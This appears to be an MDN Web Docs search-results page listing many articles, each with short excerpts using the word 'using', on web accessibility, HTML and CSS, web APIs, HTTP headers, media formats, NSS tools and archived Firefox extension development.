Keyboard-navigable JavaScript widgets - Accessibility
using tabindex by default, when people use the tab key to browse a webpage, only interactive elements (like links, form controls) get focused.
... the order in which elements gain focus when using a keyboard, is the source order by default.
... warning: avoid using positive values for tabindex.
...And 8 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
terminology can be confusing, because different terms are often used to describe the same thing.
... this is evolving, and new methods for measuring color involve measurements using other color spaces, but color measurements in the rgb color space still predominates, and this includes video production.
... where accessibility is concerned, however, standards and guidelines are currently written predominantly using the srgb color space, especially as it applies to color contrast ratios.
...And 8 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
those of us who have been doing web development for more years than we care to remember might consider that css grid is a little bit like using “tables for layout”.
...the css zen garden challenged us to take identical markup and create a unique design using css.
...we can also position items using line-based placement of grid template areas, without considering their location in the source.
...And 8 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
WebHTMLElementtr
the row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements.
... alignobsolete since html5 a domstring which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using align on every cell in the row individually.
... instead of using the obsolete align attribute, you should instead use the css text-align property to establish left, center, right, or justify alignment for the row's cells.
...And 8 more matches
Regular expressions - JavaScript
creating a regular expression you construct a regular expression in one of two ways: using a regular expression literal, which consists of a pattern enclosed between slashes, as follows: let re = /ab+c/; regular expression literals provide compilation of the regular expression when the script is loaded.
... if the regular expression remains constant, using this can improve performance.
... or calling the constructor function of the regexp object, as follows: let re = new regexp('ab+c'); using the constructor function provides runtime compilation of the regular expression.
...And 8 more matches
Performance fundamentals - Web Performance
developers draw to canvases using either a familiar 2d drawing api, or webgl, a "close to the metal" binding that mostly follows opengl es 2.0.
...this is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating systems), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware.
... complex scenes are rendered using the device's gpu for maximum performance.
...And 8 more matches
Web Components
concepts and usage as developers, we all know that reusing code as much as possible is a good idea.
... this has traditionally not been so easy for custom markup structures — think of the complex html (and associated style and script) you've sometimes had to write to render custom ui controls, and how using them multiple times can turn your page into a mess if you are not careful.
... the basic approach for implementing a web component generally looks something like this: create a class in which you specify your web component functionality, using the ecmascript 2015 class syntax (see classes for more information).
...And 8 more matches
package.json - Archive of obsolete content
some of its entries, such as icon, name, and description, have direct analogues in the install manifest format, and entries from package.json are written into the install manifest when the add-on is built using jpm xpi.
...it looks like this (assuming the add-on's directory is "my-addon"): { "name": "my-addon", "title": "my-addon", "id": "jid1-1fergv45e4f4f@jetpack", "description": "a basic add-on", "author": "", "license": "mpl-2.0", "version": "0.1" } if you are using the new jpm tool, you can easily access manifest data from package.json by requiring it like any other module: var title = require("./package.json").title; key reference package.json may contain the following keys: author the name of the package's original author; this could be the name of a person or a company.
... note: this is deprecated along with cfx; it's not available when using jpm.
...And 7 more matches
Bootstrapped extensions - Archive of obsolete content
these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application.
... this is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down.
... when the extension becomes enabled using the add-ons manager window.
...And 7 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
all of these documents currently assume, however, that you are developing your extension using xul and javascript only.
... anatomy of a simple c++ extension we assume that you are using c++ to write xpcom components that can be used either from other c++ components or from javascript.
...the main advantage of using an extension is that it is easy to package everything up and install it on another machine.
...And 7 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
extension code using internal linkage will need to migrate to use frozen linkage because internal linkage will not be available in firefox 3.
...strings the most obvious change required by frozen linkage is using the frozen string api.
...unicharutils has been modified to provide a frozen-linkage comparator: nsstring mystring = somestring; - if (mystring.equals(otherstring, nscaseinsensitivestringcomparator())) + if (mystring.equals(otherstring, caseinsensitivecompare)) return ns_ok; // woot, we're equal in all things but case when using unicharutils from frozen-linkage code, link against the unicharutil_external_s static library.
...And 7 more matches
Adding sidebars - Archive of obsolete content
they also have shortcuts to open or close them using the keyboard.
...one minor difference is that the xul sidebar should be defined using the « xul reference « root element instead of window or dialog.
...the tabs are styled to match the operating system you're using, so you should avoid changing the css in tab boxes.
...And 7 more matches
Signing an XPI - Archive of obsolete content
you can either set this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools from the command-line (preferably using a batch file).
... enter new password: re-enter password: create a test certificate create a test certificate, using the -p option to set a password for the new certificate c:\projects\codesigning\> signtool -g mytestcert -d .
... -p"password" using certificate directory: .
...And 7 more matches
Binding Attachment and Detachment - Archive of obsolete content
attachment using css bindings can be attached to elements through css using the -moz-binding property.
... attachment using element.style property none of the xbl inheritance properties of element.style.mozbinding described here are implemented (if ever).
... when a binding is attached using the dom, it inherits from the current most derived binding that may already be attached to the element.
...And 7 more matches
ContextMenus - Archive of obsolete content
when using the mouse to open a context menu, the context is the element that was clicked.
... when using the keyboard, the context is the element in the window that is currently focused.
... <hbox id="container" align="center" oncontextmenu="..."> <label value="name:"/> <textbox id="name"/> </hbox> in this example, an attempt to open a context menu anywhere inside the hbox will call the event listener attached using the oncontextmenu attribute.
...And 7 more matches
Positioning - Archive of obsolete content
for popups attached using the popup or context attributes, the default position to appear is with the upper left corner (or upper right corner in right to left locales) at the position where the mouse was clicked.
...first, the position can be specified when using the popup's openpopup method.
...second, the position can be specified using several attributes placed on the menupopup, panel or tooltip element.
...And 7 more matches
Templates - Archive of obsolete content
the template is created using the template element.
...for example, if you are using a tree, you should place the template element inside a tree element.
...other values that you can use will depend on the datasource you are using.
...And 7 more matches
XUL Questions and Answers - Archive of obsolete content
a workaround is to open the content in a new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument.
... using the "icon" attribute on a button from xulplanet.com reference: this attribute should be used to set the usage for common buttons.
...if you are using a button that matches one of these common usages, use the icon attribute to indicate this.
...And 7 more matches
Basic native form controls - Learn web development
previous overview: forms next in the previous article, we marked up a functional web form example, introducing some form controls and common structural elements, and focusing on accessibility best practices.
... objective: to understand in detail the original set of native form widgets available in browsers for collecting data, and how to implement them using html.
... they can benefit from spell checking (using the spellcheck attribute), if the browser supports it.
...And 7 more matches
Responsive images - Learn web development
in this section, we'll look at the two problems illustrated above and show how to solve them using html's responsive image features.
... you should note that we will be focusing on the html <img>s for this section, as seen in the content area of the example above — the image in the site header is only for decoration, and therefore implemented using css background images.
...using this technique could save mobile users a lot of bandwidth.
...And 7 more matches
Introduction to web APIs - Learn web development
in the same way, if you want to say, program some 3d graphics, it is a lot easier to do it using an api written in a higher-level language such as javascript or python, rather than try to directly write low level code (say c or c++) that directly controls the computer's gpu or other graphics functions.
...in the background, the browser is actually using some complex lower-level code (e.g.
...for example, you might draw shapes such as rectangles or circles, import an image onto the canvas, and apply a filter to it such as sepia or grayscale using the canvas api, or create a complex 3d scene with lighting and textures using webgl.
...And 7 more matches
Client-Server Overview - Learn web development
web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http).
...as you can see, the information from the form is encoded in the body of the request (for example, the new user fullname is set using: &user-fullname=hamish+willee).
...: cookie vary: accept-encoding content-type: text/html; charset=utf-8 date: wed, 07 sep 2016 00:38:13 gmt location: https://developer.mozilla.org/profiles/hamishwillee keep-alive: timeout=5, max=1000 connection: keep-alive x-frame-options: deny x-cache-info: not cacheable; request wasn't a get or head content-length: 0 note: the http responses and requests shown in these examples were captured using the fiddler application, but you can get similar information using web sniffers (e.g.
...And 7 more matches
Introduction to client-side frameworks - Learn web development
by this point, it had already been using react to solve many of its problems internally.
... consider a common kind of application: a to-do list creator, which we'll look at implementing using a variety of frameworks in future chapters.
...vue is not alone in this: using a framework improves team as well as individual efficiency.
...And 7 more matches
Deploying our app - Learn web development
we push the code to github, deploy it using netlify, and even show you how to add a simple test into the process.
... objective: to finish working through our complete toolchain case study, focusing on deploying the app.
... the build process again, because we're using parcel for development, the build option is extremely simple to add.
...And 7 more matches
Error codes returned by Mozilla APIs
an error will typically be displayed on the error console, but can be captured using a try-catch block in javascript.
...for example, by using components.results.ns_error_not_initialized general errors the following errors are general and can occur when using any component.
... file errors the following table lists the errors that could occur when using files.
...And 7 more matches
OS.File for the main thread
using os.file from a jsm to import os.file into your chrome code, add the following line at the start of your script: components.utils.import("resource://gre/modules/osfile.jsm") promises before using os.file from the main thread, you need some understanding of the promise library.
... example: read the contents of a file as text the following snippet opens a file "file.txt" and read its contents as a string, using the default encoding (utf-8).
... example: write a string to a file the following snippet writes the text "this is some text" to a string "file.txt", using the default encoding (utf-8).
...And 7 more matches
Creating localizable web applications
avoid using it in a subdomain, as it can cause problems with certificates (this is wrong: http://en-us.example.com/foo/bar).
...use the dir attribute on the <html/> element and consider using a rtl class on <html/> or <body/> as well, in order to easily change css rules like in the example below.
...good: css: a[hreflang="en"]::after { content: " [en]" } html/php: <a href="http://www.mozilla.com/privacy-policy.html" hreflang="en"><?= _('privacy policy'); ?></a> don't mingle app logic and localizable content when using pure html if you decide not to use gettext on some pages (e.g.
...And 7 more matches
NSS tools : modutil
-jar jar-file add a new pkcs #11 module to the database using the named jar file.
...for the most basic case, simply upload the library: modutil -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] for example: modutil -dbdir sql:/home/my/sharednssdb -add "example pkcs #11 module" -libfile "/tmp/crypto.so" -mechanisms rsa:dsa:rc2:random using database directory ...
... installing a cryptographic module from a jar file pkcs #11 modules can also be loaded using a jar file, which contains all of the required libraries and an installation script that describes how to install the module.
...And 7 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
-jar jar-file add a new pkcs #11 module to the database using the named jar file.
...for the most basic case, simply upload the library: modutil -add modulename -libfile library-file [-ciphers cipher-enable-list] [-mechanisms mechanism-list] for example: modutil -dbdir sql:/home/my/sharednssdb -add "example pkcs #11 module" -libfile "/tmp/crypto.so" -mechanisms rsa:dsa:rc2:random using database directory ...
... installing a cryptographic module from a jar file pkcs #11 modules can also be loaded using a jar file, which contains all of the required libraries and an installation script that describes how to install the module.
...And 7 more matches
A Web PKI x509 certificate primer
generate the key using the following command: openssl genpkey -algorithm rsa -out key.pem -pkeyopt rsa_keygen_bits:2048 2048 is considered secure for the next 4 years.
...generate csr using this command: openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/cn=www.example.com' this creates a new certificate signing request (csr) that will be valid for 3 years.
...self-sign csr (using sha256) and append the extensions described in the file "openssl x509 -req -sha256 -days 3650 -in example.csr -signkey key.pem -set_serial $any_integer -extfile openssl.ss.cnf -out example.pem" you can now use example.pem as your certfile cas included in firefox when you visit a secure website, firefox will validate the website’s certificate by checking that the certificate that signed it is valid, and checking that the certificate that signed the parent certificate is valid and so forth up to a root certificate that is known to be valid.
...And 7 more matches
Places
places stores its data in an sqlite database using the mozstorage interfaces.
... manipulating bookmarks using places examples for how to work with bookmarks using the places api.
... using the places tagging service how to use the tagging service.
...And 7 more matches
Edit fonts - Firefox Developer Tools
note: the updated font tools as shown in this article are available in firefox 63 onwards; if you are using an older version of firefox the tools will not look or behave quite the same, but they will be similar (most notably the font editor will not be available).
... this can be set using em, rem, %, px, vh, or vw units.
... you can select values using the slider or enter a numeric value directly into the text box.
...And 7 more matches
Applying styles and colors - Web APIs
illstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw semi transparent circles for (var i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample an example using rgba() in this second example, we do something similar to the one above, but instead of drawing circles on top of each other, i've drawn small rectangles with increasing opacity.
... using rgba() gives you a little more control and flexibility because we can set the fill and stroke style individually.
... note also that only start and final endpoints of a path are affected: if a path is closed with closepath(), there's no start and final endpoint; instead, all endpoints in the path are connected to their attached previous and next segment using the current setting of the linejoin style, whose default value is miter, with the effect of automatically extending the outer borders of the connected segments to their intersection point, so that the rendered stroke will exactly cover full pixels centered at each endpoint if those connected segments are horizontal and/or vertical).
...And 7 more matches
WebGL model view projection - Web APIs
it assumes a knowledge of basic matrix math using translation, scale, and rotation matrices.
...normally model data is used that is in some arbitrary coordinate system, and is then transformed using a matrix, converting the model coordinates into the clip space coordinate system.
... for this example, it's easiest to illustrate how clip space works by simply using model coordinate values ranging from (-1,-1,-1) to (1,1,1).
...And 7 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move freely using a vr headset, keyboard, and/or mouse.
... this example demonstrates this by showing the canvas on the screen, even when presenting a scene as an immersive display using an xr device.
... note: this example always displays what it renders on the screen, even if using immersive-vr mode.
...And 7 more matches
WebXR Device API - Web APIs
the webxr device api implements the core of the webxr feature set, managing the selection of output devices, render the 3d scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers.
...using the xrsystem interface, you can create xrsessions to represent actual ar and/or vr sessions.
... xrrigidtransform a transform defined using a position and orientation in the virtual space's coordinate system as described by the xrspace.
...And 7 more matches
Web Authentication API - Web APIs
this is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using web authentication, the password is replaced with a key pair that is stored in an authenticator.
...typically, server communications would be rest over https (probably using xmlhttprequest or fetch), but they could also be soap, rfc 2549 or nearly any other protocol provided that the protocol is secure.
...this could be entering a pin, using a fingerprint, doing an iris scan, etc.
...And 7 more matches
ARIA Test Cases - Accessibility
where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect.
...the state of tristate checkboxes is not announced when initially focusing.
...a n/a jaws 10 pass fail - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - drag and drop tic tac toe slide show expected at behavior: (mz) once focusing or arrowing onto the draggable item, screen reader should indicate that item can be an object that can be dragged.
...And 7 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
we were able to align text using text-align, center blocks using auto margins, and in table or inline-block layouts using the vertical-align property.
... css grid layout alignment example in this example using grid layout, there is extra space in the grid container after laying out the fixed width tracks on the inline (main) axis.
... this space is distributed using justify-content.
...And 7 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
in this guide, i will explain how a grid fits together with other techniques you may already be using.
... in this first example, i am using flexbox to lay out a set of boxes.
... the same layout with css grids in this next example, i create the same layout using grid.
...And 7 more matches
Index - Developer guides
WebGuideIndex
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 7 adding captions and subtitles to html5 video html5, media, webvtt, captions, subtitles, track in other articles we looked at how to build a cross browser video player using the htmlmediaelement and window.fullscreen apis, and also at how to style the player.
... this article will take the same player and show how to add captions and subtitles to it, using the webvtt format and the <track> element.
...And 7 more matches
User input and controls - Developer guides
once you decided the input mechanisms, you can control them using tools offered by the web platform or javascript libraries.
... using features such as contenteditable elements you can implement fast rich-text editors and with drag&drop let users moving elements inside your app.
... the following is a set of recommendations and best practices for using such tools in open web apps.
...And 7 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
it may contain one or more audio sources, represented using the src attribute or the <source> element: the browser will choose the most suitable one.
... it can also be the destination for streamed media, using a mediastream.
... disableremoteplayback a boolean attribute used to disable the capability of remote playback in devices that are attached using wired (hdmi, dvi, etc.) and wireless technologies (miracast, chromecast, dlna, airplay, etc).
...And 7 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them.
... crossorigin indicates if the fetching of the image must be done using a cors request.
...user agents use the current source size to select one of the sources supplied by the srcset attribute, when those sources are described using width (w) descriptors.
...And 7 more matches
<input type="image"> - HTML: Hypertext Markup Language
WebHTMLElementinputimage
height the height, in css pixels, at which to draw the image src the url from which to load the image width the width, in css pixels, at which to draw the image alt the alt attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a user agent that cannot or is configured not to show images, or if the user is using a screen reading device).
...there are three permitted values: application/x-www-form-urlencoded this, the default value, sends the form data as a string after url encoding the text using an algorithm such as encodeuri().
...this url is then sent to the server using an http get request.
...And 7 more matches
<input type="number"> - HTML: Hypertext Markup Language
WebHTMLElementinputnumber
the browser may opt to provide stepper arrows to let the user increase and decrease the value using their mouse or by simply tapping with a fingertip.
...ment that contains the optional pre-defined autocomplete options max the maximum value to accept for this input min the minimum value to accept for this input placeholder an example value to display inside the field when it's empty readonly a boolean attribute indicating whether the value is read-only step a stepping interval to use when using up and down arrows to adjust the value, as well as for validation list the values of the list attribute is the id of a <datalist> element located in the same document.
... if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
...And 7 more matches
<input type="text"> - HTML: Hypertext Markup Language
WebHTMLElementinputtext
you can retrieve this using the value property in javascript.
... if the control's content has one directionality (ltr or rtl) but needs to present the placeholder in the opposite directionality, you can use unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see overriding bidi using unicode control characters in the unicode bidirectional text algorithm for those characters.
... note: avoid using the placeholder attribute if you can.
...And 7 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
disableremoteplayback a boolean attribute used to disable the capability of remote playback in devices that are attached using wired (hdmi, dvi, etc.) and wireless technologies (miracast, chromecast, dlna, airplay, etc).
... other usage notes: if you don't specify the controls attribute, the video won't include the browser's default controls; you can create your own custom controls using javascript and the htmlmediaelement api.
... you can play audio files using a <video> element.
...And 7 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers.
... images/video frames drawn to a canvas using drawimage().
... accept-language content-language content-type (but note the additional requirements below) dpr downlink save-data viewport-width width the only allowed values for the content-type header are: application/x-www-form-urlencoded multipart/form-data text/plain no event listeners are registered on any xmlhttprequestupload object used in the request; these are accessed using the xmlhttprequest.upload property.
...And 7 more matches
Strict-Transport-Security - HTTP
the http strict-transport-security response header (often abbreviated as hsts) lets a web site tell browsers that it should only be accessed using https, instead of using http.
... header type response header forbidden header name no syntax strict-transport-security: max-age=<expire-time> strict-transport-security: max-age=<expire-time>; includesubdomains strict-transport-security: max-age=<expire-time>; preload directives max-age=<expire-time> the time, in seconds, that the browser should remember that a site is only to be accessed using https.
... the http strict transport security header informs the browser that it should never load a site using http and should automatically convert all attempts to access the site using http to https requests instead.
...And 7 more matches
Web audio codec guide - Web media technologies
in addition to choosing the type of encoder to use, you may have the opportunity to adjust the encoder using parameters that choose specific algorithms, tune those algorithms, and specify how many passes to apply while encoding.
... audio frequency bandwidth the audio frequency bandwidth of a codec indicates the range of audio frequencies that can be represented using the codec.
...this capability was introduced on each platform in different firefox releases: aac support in firefox using external library, by platform platform first firefox version with aac support windows (vista and later) 22 android 20 linux (depends on gstreamer) 26 macos 35 [2] chrome supports aac only in mp4 containers, and only supports aac's main profile.
...And 7 more matches
Media container formats (file types) - Web media technologies
instead, it streams the encoded audio and video tracks directly from one peer to another using mediastreamtrack objects to represent each track.
...a good example of this is the mp3 audio file, which is in fact an mpeg-1 container with a single audio track encoded using mpeg-1 audio layer iii encoding.
...you are typically better off using webm, though there are times when ogg is useful to offer, such as when you wish to support older versions of firefox and chrome which don't yet support webm.
...And 7 more matches
Animation performance and frame rate - Web Performance
using these tools you can measure an application's animation frame rate, and diagnose performance bottlenecks if any are found.
... compared with animating elements using javascript, css animations can be easier to create.
... an example: margin versus transform in this section we'll see how the waterfall can highlight the difference between animating using margin and animating using transform.
...And 7 more matches
Progressive web apps (PWAs)
most of the features related to a pwa such as geolocation and even service workers are available only once the app has been loaded using https.
...this guide explains how a2hs is used, and what you need to do as a developer to allow your users to take advantage of it.how to make pwas installablein this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.how to make pwas re-engageable using notifications and pushhaving the ability to cache the contents of an app to work offline is a great feature.
...but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver new content whenever it is available.introduction to progressive web appsthis article provides an introduction to progressive web apps (pwas), discussing what they are and the advantages they offer over regular web apps.making pwas work offline with service workersin this article we took a simple look at how you can make your pwa work offline with service workers.
...And 7 more matches
Applying SVG effects to HTML content - SVG: Scalable Vector Graphics
modern browsers support using svg within css styles to apply graphical effects to html content.
... using embedded svg to apply an svg effect using css styles, you first need to create the css style that references the svg to apply.
... example: masking for example, you can make a gradient mask for html content using svg and css code similar to the following, inside your html document: <svg height="0"> <mask id="mask-1"> <lineargradient id="gradient-1" y2="1"> <stop stop-color="white" offset="0"/> <stop stop-opacity="0" offset="1"/> </lineargradient> <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/> <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/> </mask> </svg> .target { mask: url(#mask-1); } p { width: 300px; border: 1px solid #000; display: inline-block; } note that in the css, the mask is specified using a url ...
...And 7 more matches
Content type - SVG: Scalable Vector Graphics
in the svg dom, <angle> values are represented using svgangle or svganimatedangle objects.
...using srgb provides an unambiguous and objectively measurable definition of the color, which can be related to international standards.
...svg's extension to color, including the ability to specify icc-based colors, are represented using dom interface svgcolor.
...And 7 more matches
File I/O - Archive of obsolete content
you access the file system using mozilla xpcom components.
... creating an nsifile object components.utils.import("resource://gre/modules/fileutils.jsm"); var file = new fileutils.file("/home"); or the same without using fileutils.jsm: var file = components.classes["@mozilla.org/file/local;1"].
... getting files in special directories components.utils.import("resource://gre/modules/fileutils.jsm"); // get the "data.txt" file in the profile directory var file = fileutils.getfile("profd", ["data.txt"]); or the same without using fileutils.jsm: // get profile directory.
...And 6 more matches
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
... safely parsing simple html to dom when using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier manipulation.
...see using a hidden iframe element to parse html to a window's dom below.
...And 6 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
add-on versioning add-ons should specify their versions using the toolkit version format.
...using it in a minversion usually doesn't produce the effect you want.
... in the update manifest delivered from the updateurl the updatelink must be specified in one of the following ways: the updatelink to the xpi file must use https the updatelink can use http and you must include an updatehash for the xpi file using sha1, sha256, sha384 or sha512 hash algorithms.
...And 6 more matches
Connecting to Remote Content - Archive of obsolete content
« previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http.
...we create this instance using xpcom instead of the usual way (new xmlhttprequest()) because this way works both in chrome and non-chrome code.
... if the response is an xml document, the responsexml property will hold an xmldocument object that can be manipulated using dom methods.
...And 6 more matches
JavaScript Object Management - Archive of obsolete content
we'll be using the placeholder 〈namespace〉 below.
... notice how the 〈namespace〉 namespace is declared using var.
...in case you're using javascript code modules or xpcom objects, where a window object is not readily available, use an nsitimer instead.
...And 6 more matches
Setting Up a Development Environment - Archive of obsolete content
we recommend you set up make in your system, since our examples come with all the necessary files to build and install the resulting xpi using this tool.
...or you can create an equivalent system using batch, ant or whatever you prefer.
... ultimately you can just compress the contents of the src directory using any zip or archive tool and get a similar result.
...And 6 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
it also provides two implementation examples using the model.
...this sample was made using iframes to illustrate a possible implementation.
...see the table below for a description of how applications like this exemplify inner-browsing and how they might be implemented using the inner-browsing approach.
...And 6 more matches
Working With Directories - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
... a reference to a directory may be created in the same way as with a file by using nsiscriptableio.getfile().
...var dir1 = io.getfile("home", ""); var dir2 = io.getfile("desktop", "myfiles"); to refer to a subdirectory, rather than using a path, use nsifile.append() to build up a path.
...And 6 more matches
Reading from Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...using the former will cause characters in the stream to be interpreted with a particular character encoding.
...var file = io.getfile("home", "sample.txt"); var stream = io.newinputstream(file, "text"); this example first retrieves a file object using nsiscriptableio.getfile().
...And 6 more matches
Multiple Queries - Archive of obsolete content
here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> <...
... this method of using multiple queries allows different content to generated for each query.
... multiple queries using the rdf simple syntax you can also use multiple queries with rdf datasources using the simple query syntax.
...And 6 more matches
Introduction to SSL - Archive of obsolete content
using the same techniques as those used for server authentication, ssl-enabled server software can check that a client's certificate and public id are valid and have been issued by a certificate authority (ca) listed in the server's list of trusted cas.
...the ssl handshake protocol involves using the ssl record protocol to exchange a series of messages between an ssl-enabled server and an ssl-enabled client when they first establish an ssl connection.
...server administrators must be careful about enabling it, however, because data sent using this cipher suite is not encrypted and may be accessed by eavesdroppers.
...And 6 more matches
Building a Theme - Archive of obsolete content
it's especially important to install the dom inspector, which we'll be using in later steps.
... if you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the file->open file command and it will report xml errors to you.
...user actions are bound to functionality using javascript.
...And 6 more matches
Unconventional controls - Game development
using a tv remote to control the game ended up being surprisingly easy, because the events fired by the controller are emulating conventional keyboard keys.
...you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states, starting a new game, controlling the ship and blowing stuff up, pausing and restarting the game.
...you can also check out the tutorial about using leap motion plugin for kiwi.js, or the case study of building a web game with leap motion and pixi.js.
...And 6 more matches
CSS values and units - Learn web development
note: yes, css values tend to be denoted using angle brackets, to differentiate them from css properties (e.g.
... in the following example we have set the color of our heading using a keyword, and the background using the rgb() function: h1 { color: black; background-color: rgb(197,93,161); } a value in css is a way to define a collection of allowable sub-values.
... numbers, lengths, and percentages there are various numeric data types that you might find yourself using in css.
...And 6 more matches
What text editors are available? - Learn web development
do i need support/help while using my text editor?
...e free mac faq, forum pdf manual no vim specific open license free windows, mac, linux mailing list online manual yes visual studio code open source under mit licence/ specific licence for product free windows, mac, linux faq documentation yes active learning in this active learning section, we would like you to try using and/or installing a text editor of your choice.
... so first find out which os you're using, and then check if a given editor supports your os.
...And 6 more matches
Functions — reusable blocks of code - Learn web development
previous overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
...in fact, we've been using functions all the way through the course so far; we've just not been talking about them very much.
... pretty much anytime you make use of a javascript structure that features a pair of parentheses — () — and you're not using a common built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function.
...And 6 more matches
Introduction to the server side - Learn web development
it can also make sites easier to use by storing personal preferences and information — for example reusing stored credit card details to streamline subsequent payments.
... web browsers communicate with web servers using the hypertext transfer protocol (http).
...on a dynamic website html pages are normally created by inserting data from a database into placeholders in html templates (this is a much more efficient way of storing large amounts of content than using static websites).
...And 6 more matches
Getting started with React - Learn web development
this article is going to focus on the use case of using react to render the entire user interface of an application, using tooling provided by facebook’s own create-react-app tool.
...when compiled (using a tool like babel or parcel), our header expression would look like this: const header = react.createelement("header", null, react.createelement("h1", null, "mozilla developer network") ); it's possible to skip the compilation step and use react.createelement() to write your ui yourself.
...others say that its blended nature makes it confusing.
...And 6 more matches
Beginning our React todo list - Learn web development
add a task using the mouse or keyboard.
... mark any task as completed, using the mouse or keyboard.
... delete any task, using the mouse or keyboard.
...And 6 more matches
Getting started with Vue - Learn web development
most of the time, vue components are written using a special html template syntax.
...this allows you to start using vue on existing sites, which is why vue prides itself on being a progressive framework.
... this is a great option when migrating an existing project using a library like jquery to vue.
...And 6 more matches
Focus management with Vue refs - Learn web development
we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one component to the internal dom structure of a child component.
... objective: to learn how to handle focus management using vue refs.
...in addition, what happens when you press tab again varies depending on the browser you're using.
...And 6 more matches
Understanding client-side JavaScript frameworks - Learn web development
as an aspiring front-end developer, it can be hard to work out where to begin when learning frameworks — there are so many different frameworks to choose from, new ones appear all the time, they mostly work in a similar way but do some things differently, and there are some specific things to be careful about when using frameworks.
...along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a service to keep track of the data state of our app.
...along the way, we'll learn about using conditional rendering in our templates.
...And 6 more matches
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip.
... static themes static themes are specified using the same resources as a browser extension: a manifest.json file to define the theme components with those components stored in the same folder as the manifest.json file or a sub folder.
...you can, however, programmatically include a theme in an extension using the theme api.
...And 6 more matches
Debugging on Mac OS X
this document explains how to debug mozilla-derived applications such as firefox, thunderbird, and seamonkey on macos using xcode.
... creating a debuggable build first, you need to build the application you're going to debug using --disable-optimize--enable-debug-symbols in your .mozconfig (also add --enable-debug if you want assertions etc.
... to obtain a hardened runtime build without using try infrastructure, a developer can manually codesign builds using the macos codesign(1) command with the developer.entitlements.xml file from the tree.
...And 6 more matches
Experimental features in Firefox
